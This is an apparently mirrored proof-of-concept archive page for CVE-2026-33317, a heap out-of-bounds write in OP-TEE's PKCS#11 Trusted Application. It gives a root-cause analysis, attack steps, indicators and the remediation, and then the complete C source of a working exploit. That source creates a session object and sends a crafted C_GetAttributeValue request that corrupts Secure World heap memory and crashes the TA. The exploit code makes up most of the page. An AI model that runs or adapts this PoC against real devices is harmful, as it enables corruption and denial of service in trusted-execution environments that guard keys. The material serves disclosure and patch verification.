PoC Archive PoC Archive
High CVE-2026-33317 (GHSA-8cqw-mg7v-c9p9) patched

OP-TEE PKCS#11 TA Out-of-Bounds Heap Write via `C_GetAttributeValue` (CVE-2026-33317)

by qianfei11 · 2026-07-05

CVSS 8.7/10
Severity
High
CVE
CVE-2026-33317 (GHSA-8cqw-mg7v-c9p9)
Category
binary
Affected product
OP-TEE OS — PKCS#11 Trusted Application (optee_os, ta/pkcs11)
Affected versions
OP-TEE >= 3.13.0, fixed in 4.11 and later
Disclosed
2026-07-05
Patch status
patched

Metadata

FieldValue
Date Added2026-07-05
Last Updated2026-04
Author / Researcherqianfei11
CVE / AdvisoryCVE-2026-33317 (GHSA-8cqw-mg7v-c9p9)
Categorybinary
SeverityHigh
CVSS Score8.7 (CVSS v3.1, per source advisory)
StatusPoC
Tagsoptee, trustzone, pkcs11, secure-world, heap-corruption, oob-write, qemu, trusted-application
RelatedN/A

Affected Target

FieldValue
Software / SystemOP-TEE OS — PKCS#11 Trusted Application (optee_os, ta/pkcs11)
Versions AffectedOP-TEE >= 3.13.0, fixed in 4.11 and later
Language / PlatformC (AArch64 Normal World client via libteec), targeting the OP-TEE Secure World TA under QEMUv8
Authentication RequiredLocal-only (requires ability to issue TEE Client API calls to the PKCS#11 TA)
Network Access RequiredNo

Summary

CVE-2026-33317 is missing bounds validation in entry_get_attribute_value() in the OP-TEE PKCS#11 Trusted Application, reachable via the PKCS11_CMD_GET_ATTRIBUTE_VALUE command. The TA does not verify that each attribute header and its associated data region lie fully within the client-supplied serialized attribute template buffer, which allows a crafted request to make get_attribute() write past the end of a heap allocation inside the Secure World. The included PoC creates a PKCS#11 session object with a 16-byte CKA_LABEL, then sends a malformed C_GetAttributeValue request with attrs_size = 8 (an 8-byte header with no trailing data), causing the TA to compute a data pointer one byte past the 16-byte allocation and copy the 16-byte label there, corrupting PKCS#11 TA heap metadata and triggering a TA panic in the OP-TEE bget allocator.


Vulnerability Details

Root Cause

ta/pkcs11/src/object.c iterates over a client-supplied serialized attribute template without proving that each attribute header and its data area are fully contained within the allocated template buffer; get_attribute() in ta/pkcs11/src/attributes.c then trusts the caller-supplied size and copies data to a pointer that can land outside the allocation.

Attack Vector

  1. Open a TEEC session with the PKCS#11 TA (UUID fd02c9da-306c-48c7-a49c-bbd827ae86ee) and initialize a token slot.
  2. Open a read/write PKCS#11 session and create an AES session object with a 16-byte CKA_LABEL (e.g. "AAAAAAAAAAAAAAAA").
  3. Send a crafted PKCS11_CMD_GET_ATTRIBUTE_VALUE request with attrs_size = 8 (one bare attribute header, no data bytes) and cli_head.size = 16 matching the object’s label size.
  4. The TA computes the 16-byte template allocation as sizeof(pkcs11_object_head) + attrs_size = 16 bytes, then get_attribute() writes the 16-byte label starting one byte past the end of that allocation, corrupting adjacent heap metadata.
  5. The OP-TEE bget allocator detects the corrupted block metadata on a subsequent free and the PKCS#11 TA panics (Secure World crash).

Impact

Out-of-bounds heap write inside the OP-TEE Secure World PKCS#11 Trusted Application, causing TA heap corruption and a Secure World TA panic/crash; the disclosed PoC demonstrates the corruption and crash primitive (memory corruption), which is a plausible starting point for further Secure World exploitation.


Environment / Lab Setup

Target:   OP-TEE OS QEMUv8 (aarch64) workspace with PKCS#11 TA (optee_os >= 3.13.0, < 4.11)
Attacker: Linux x86-64 host, `expect`, AArch64 cross-compiler/sysroot, prebuilt OP-TEE qemu_v8 build (bl1.bin, Image, rootfs.cpio.gz)

Proof of Concept

PoC Script

See c01_poc.c (Normal World PoC), build_poc.sh, run_c01.sh, and c01_check.exp in this folder. Reproduction notes in reproduction-log.md and qemu-v8-setup.md; captured logs in out/bin/c01_nw.log and out/bin/c01_sw.log.

1
2
./build_poc.sh
./run_c01.sh

build_poc.sh cross-compiles c01_poc.c into out/bin/c01_poc against an OP-TEE qemu_v8 toolchain/sysroot; run_c01.sh boots QEMUv8, shares the PoC binary into the guest over virtio-9p via c01_check.exp, runs it against the PKCS#11 TA, and captures Normal World and Secure World logs showing the malformed request and resulting TA panic.


Detection & Indicators of Compromise

Signs of compromise:

  • OP-TEE Secure World logs showing PKCS#11 TA (fd02c9da-306c-48c7-a49c-bbd827ae86ee) panics or bget allocator assertion failures
  • Repeated CMD_GET_ATTRIBUTE_VALUE calls with attribute template sizes inconsistent with the requested attribute’s actual size
  • Unexpected TA crashes/restarts correlating with PKCS#11 client activity on the Normal World side

Remediation

ActionDetail
Primary fixUpgrade OP-TEE OS to 4.11 or later, which adds bounds validation for PKCS#11 attribute templates
Interim mitigationRestrict which Normal World clients/processes may open sessions with the PKCS#11 TA until patched

References


Notes

Mirrored from https://github.com/qianfei11/CVE-2026-33317 on 2026-07-05. The upstream repository intentionally excludes the bulky OP-TEE/QEMU source trees, toolchains, and build outputs — only the PoC source, build/run scripts, setup notes, and captured reproduction logs are mirrored here; a working OP-TEE qemu_v8 build root is required to actually run the PoC.

c01_poc.c
  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
/*
 * C-01 PoC: Heap Buffer Overflow in PKCS#11 C_GetAttributeValue
 *
 * Triggers the bug in entry_get_attribute_value() (ta/pkcs11/src/object.c)
 * by sending a C_GetAttributeValue request with attrs_size = 8 (one header,
 * zero data bytes) and cli_head.size = 16 (bypassing the size guard),
 * causing a 16-byte write past the end of the 16-byte template allocation
 * in the Secure World heap.
 *
 * Build (AArch64):
 *   See build_poc.sh
 * Run in QEMU (as root):
 *   mount -t 9p -o trans=virtio host /mnt/host
 *   /mnt/host/c01_poc
 */

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <tee_client_api.h>

/* PKCS#11 TA UUID: fd02c9da-306c-48c7-a49c-bbd827ae86ee */
static const TEEC_UUID pkcs11_ta_uuid = {
    0xfd02c9da, 0x306c, 0x48c7,
    { 0xa4, 0x9c, 0xbb, 0xd8, 0x27, 0xae, 0x86, 0xee }
};

/* PKCS#11 TA command IDs (from ta/pkcs11/include/pkcs11_ta.h) */
#define CMD_INIT_TOKEN          10
#define CMD_OPEN_SESSION         6
#define CMD_CREATE_OBJECT       15
#define CMD_GET_ATTRIBUTE_VALUE 38

/* Attribute IDs (internal TA values from pkcs11_ta.h) */
#define CKA_CLASS       0x0000
#define CKA_TOKEN       0x0001
#define CKA_LABEL       0x0003
#define CKA_VALUE       0x0011
#define CKA_KEY_TYPE    0x0100
#define CKA_DECRYPT     0x0105
#define CKA_MODIFIABLE  0x0170

/* Object/key class values */
#define CKO_SECRET_KEY  0x0004
#define CKK_AES         0x001f
#define CK_TRUE         0x01
#define CK_FALSE        0x00

/* Session flags */
#define CKF_RW_SESSION     0x00000002
#define CKF_SERIAL_SESSION 0x00000004

/* Return codes */
#define CKR_OK 0x00000000

/*
 * Invoke a PKCS#11 TA command.
 * ctrl  = INOUT param[0]: TA reads args, writes 4-byte return code back
 * out   = OUTPUT param[2]: TA writes response data here
 * Returns the 4-byte PKCS#11 return code from the TA.
 */
static uint32_t pkcs11_cmd(TEEC_Session *sess, uint32_t cmd,
                            void *ctrl, size_t ctrl_size,
                            void *out, size_t *out_size)
{
    TEEC_Operation op = { 0 };
    uint32_t origin = 0;
    TEEC_Result res;
    uint32_t rc = 0;

    op.params[0].tmpref.buffer = ctrl;
    op.params[0].tmpref.size   = ctrl_size;

    if (out && out_size) {
        op.params[2].tmpref.buffer = out;
        op.params[2].tmpref.size   = *out_size;
        op.paramTypes = TEEC_PARAM_TYPES(TEEC_MEMREF_TEMP_INOUT, TEEC_NONE,
                                         TEEC_MEMREF_TEMP_OUTPUT, TEEC_NONE);
    } else {
        op.paramTypes = TEEC_PARAM_TYPES(TEEC_MEMREF_TEMP_INOUT, TEEC_NONE,
                                         TEEC_NONE, TEEC_NONE);
    }

    res = TEEC_InvokeCommand(sess, cmd, &op, &origin);

    /*
     * The TA writes the 4-byte return code to ctrl[0..3] and sets
     * params[0].tmpref.size = 4 (entry.c:366-367).
     */
    memcpy(&rc, ctrl, sizeof(rc));

    if (out_size)
        *out_size = op.params[2].tmpref.size;

    if (res == TEEC_ERROR_SHORT_BUFFER)
        return 0x00000150; /* CKR_BUFFER_TOO_SMALL */

    return (res == TEEC_SUCCESS) ? rc : 0xFFFFFFFF;
}

/* Pack a uint32 into a byte buffer and advance pointer */
static void put_u32(uint8_t **p, uint32_t v)
{
    memcpy(*p, &v, 4);
    *p += 4;
}

/* Pack n bytes into a byte buffer and advance pointer */
static void put_bytes(uint8_t **p, const void *src, size_t n)
{
    memcpy(*p, src, n);
    *p += n;
}

int main(void)
{
    TEEC_Context ctx;
    TEEC_Session sess;
    uint32_t origin = 0;
    uint32_t rc;
    uint8_t ctrl[256];
    uint8_t out[256];
    uint8_t *p;
    size_t out_sz;

    printf("[C-01 PoC] Heap Buffer Overflow in PKCS#11 C_GetAttributeValue\n");
    printf("[C-01 PoC] Vulnerable commit: 06c4e95e469c9c89e9ba4a6915d1be7bb8ea6fbc\n");

    /* --- Step 1: Open TEEC context and session with PKCS#11 TA --- */
    if (TEEC_InitializeContext(NULL, &ctx) != TEEC_SUCCESS) {
        fprintf(stderr, "[-] TEEC_InitializeContext failed\n");
        return 1;
    }

    if (TEEC_OpenSession(&ctx, &sess, &pkcs11_ta_uuid,
                         TEEC_LOGIN_PUBLIC, NULL, NULL, &origin)
        != TEEC_SUCCESS) {
        fprintf(stderr, "[-] TEEC_OpenSession failed (origin=%u)\n", origin);
        TEEC_FinalizeContext(&ctx);
        return 1;
    }
    printf("[+] TEEC session with PKCS#11 TA opened\n");

    /* --- Step 2: Initialize token (slot 0, no PIN) --- */
    /* ctrl = [slot_id(4)][pin_len(4)][label(32)] */
    p = ctrl;
    put_u32(&p, 0);                         /* slot_id = 0 */
    put_u32(&p, 0);                         /* pin_len = 0 */
    put_bytes(&p, "C01 PoC Token           ", 32); /* label (32 bytes) */

    rc = pkcs11_cmd(&sess, CMD_INIT_TOKEN, ctrl, p - ctrl, NULL, NULL);
    printf("[+] INIT_TOKEN  rc=0x%08x %s\n", rc, rc == CKR_OK ? "OK" : "(check: may already be initialized)");

    /* --- Step 3: Open R/W session on slot 0 --- */
    /* ctrl = [slot_id(4)][flags(4)] → out = [session_handle(4)] */
    p = ctrl;
    put_u32(&p, 0);                                     /* slot_id */
    put_u32(&p, CKF_RW_SESSION | CKF_SERIAL_SESSION);  /* flags */

    out_sz = 4; /* TA checks out->memref.size == sizeof(session_handle) exactly */
    rc = pkcs11_cmd(&sess, CMD_OPEN_SESSION, ctrl, p - ctrl, out, &out_sz);
    if (rc != CKR_OK) {
        fprintf(stderr, "[-] OPEN_SESSION failed: rc=0x%08x\n", rc);
        goto close;
    }
    uint32_t session_handle;
    memcpy(&session_handle, out, 4);
    printf("[+] OPEN_SESSION rc=0x%08x, session_handle=0x%08x\n", rc, session_handle);

    /* --- Step 4: Create AES session object with CKA_LABEL --- */
    /*
     * Object attributes (OP-TEE internal IDs):
     *   CKA_CLASS(0x0000)    = CKO_SECRET_KEY(4)  [4+4+4 = 12 bytes]
     *   CKA_TOKEN(0x0001)    = CK_FALSE(0)         [4+4+1 = 9 bytes]
     *   CKA_MODIFIABLE(0x170)= CK_TRUE(1)          [4+4+1 = 9 bytes]
     *   CKA_KEY_TYPE(0x100)  = CKK_AES(0x1f)       [4+4+4 = 12 bytes]
     *   CKA_DECRYPT(0x105)   = CK_TRUE(1)          [4+4+1 = 9 bytes]
     *   CKA_VALUE(0x011)     = 16-byte AES key     [4+4+16 = 24 bytes]
     *   CKA_LABEL(0x003)     = "AAAAAAAAAAAAAAAA"  [4+4+16 = 24 bytes]
     *
     * Total attrs_size = 12+9+9+12+9+24+24 = 99 bytes
     * attrs_count = 7
     */
    static const uint8_t aes_key[16] = {
        0x00,0x01,0x02,0x03,0x04,0x05,0x06,0x07,
        0x08,0x09,0x0a,0x0b,0x0c,0x0d,0x0e,0x0f
    };
    static const uint8_t label[16] = "AAAAAAAAAAAAAAAA";

    uint32_t attrs_size = (4+4+4) + (4+4+1) + (4+4+1) + (4+4+4) + (4+4+1) + (4+4+16) + (4+4+16);
    /* = 12 + 9 + 9 + 12 + 9 + 24 + 24 = 99 */
    uint32_t attrs_count = 7;

    p = ctrl;
    put_u32(&p, session_handle);
    /* pkcs11_object_head */
    put_u32(&p, attrs_size);
    put_u32(&p, attrs_count);
    /* CKA_CLASS = CKO_SECRET_KEY */
    put_u32(&p, CKA_CLASS); put_u32(&p, 4); put_u32(&p, CKO_SECRET_KEY);
    /* CKA_TOKEN = CK_FALSE */
    put_u32(&p, CKA_TOKEN); put_u32(&p, 1); *p++ = CK_FALSE;
    /* CKA_MODIFIABLE = CK_TRUE */
    put_u32(&p, CKA_MODIFIABLE); put_u32(&p, 1); *p++ = CK_TRUE;
    /* CKA_KEY_TYPE = CKK_AES */
    put_u32(&p, CKA_KEY_TYPE); put_u32(&p, 4); put_u32(&p, CKK_AES);
    /* CKA_DECRYPT = CK_TRUE */
    put_u32(&p, CKA_DECRYPT); put_u32(&p, 1); *p++ = CK_TRUE;
    /* CKA_VALUE = 16-byte AES key */
    put_u32(&p, CKA_VALUE); put_u32(&p, 16); put_bytes(&p, aes_key, 16);
    /* CKA_LABEL = "AAAAAAAAAAAAAAAA" (16 bytes) */
    put_u32(&p, CKA_LABEL); put_u32(&p, 16); put_bytes(&p, label, 16);

    out_sz = 4; /* TA checks out->memref.size == sizeof(obj_handle) exactly */
    rc = pkcs11_cmd(&sess, CMD_CREATE_OBJECT, ctrl, p - ctrl, out, &out_sz);
    if (rc != CKR_OK) {
        fprintf(stderr, "[-] CREATE_OBJECT failed: rc=0x%08x\n", rc);
        goto close;
    }
    uint32_t obj_handle;
    memcpy(&obj_handle, out, 4);
    printf("[+] CREATE_OBJECT rc=0x%08x, obj_handle=0x%08x\n", rc, obj_handle);
    printf("[+] Object has CKA_LABEL = \"AAAAAAAAAAAAAAAA\" (16 bytes)\n");

    /* --- Step 5: Trigger the heap buffer overflow --- */
    /*
     * Malicious GET_ATTRIBUTE_VALUE request:
     *
     * ctrl = [session_handle(4)][obj_handle(4)]
     *        [pkcs11_object_head: attrs_size=8, attrs_count=1]  <- CRAFTED
     *        [pkcs11_attribute_head: id=CKA_LABEL, size=16]     <- CRAFTED
     *
     * Total ctrl: 4+4+8+8 = 24 bytes
     *
     * In the TA (entry_get_attribute_value, object.c:828-872):
     *   template = alloc(sizeof(pkcs11_object_head) + attrs_size)
     *            = alloc(8 + 8) = 16 bytes
     *   cur = template + 8
     *   end = cur + 8          <- attrs_size = 8
     *   cli_ref = cur          <- within allocation
     *   data_ptr = cur + 8 = end  <- PAST ALLOCATION
     *   get_attribute() writes 16 bytes at data_ptr -> HEAP OVERFLOW
     */
    printf("[+] Sending malicious C_GetAttributeValue (attrs_size=8, cli_head.size=16)...\n");

    for (int i = 0; i < 5; i++) {
        p = ctrl;
        put_u32(&p, session_handle);   /* session handle */
        put_u32(&p, obj_handle);        /* object handle */
        /* pkcs11_object_head: CRAFTED attrs_size=8 (one header, zero data) */
        put_u32(&p, 8);                 /* attrs_size = sizeof(pkcs11_attribute_head) only */
        put_u32(&p, 1);                 /* attrs_count = 1 */
        /* pkcs11_attribute_head: CRAFTED size=16 (bypasses size guard) */
        put_u32(&p, CKA_LABEL);        /* id = CKA_LABEL */
        put_u32(&p, 16);               /* size = 16 (>= actual, bypasses check) */

        /*
         * out_sz = sizeof(pkcs11_object_head) + attrs_size = 8 + 8 = 16.
         * The TA copies exactly out->memref.size bytes from template at
         * object.c:915; setting this to 16 avoids a spurious read overflow
         * before or instead of the intended write overflow.
         */
        out_sz = 16;
        rc = pkcs11_cmd(&sess, CMD_GET_ATTRIBUTE_VALUE, ctrl, p - ctrl, out, &out_sz);
        printf("[+] GET_ATTRIBUTE_VALUE[%d] rc=0x%08x\n", i, rc);
        /*
         * Expected: heap corruption in TA's secure world heap.
         * The TA may continue temporarily before crashing on the next
         * heap operation (TEE_Panic in bget allocator).
         * Check serial1.log for: "Panic at" or "assertion failed".
         */
    }

    printf("[+] Done. If the TA is still responding, the corruption may be\n");
    printf("    latent. Check /tmp/serial1.log for TEE panic output.\n");

close:
    TEEC_CloseSession(&sess);
    TEEC_FinalizeContext(&ctx);
    return 0;
}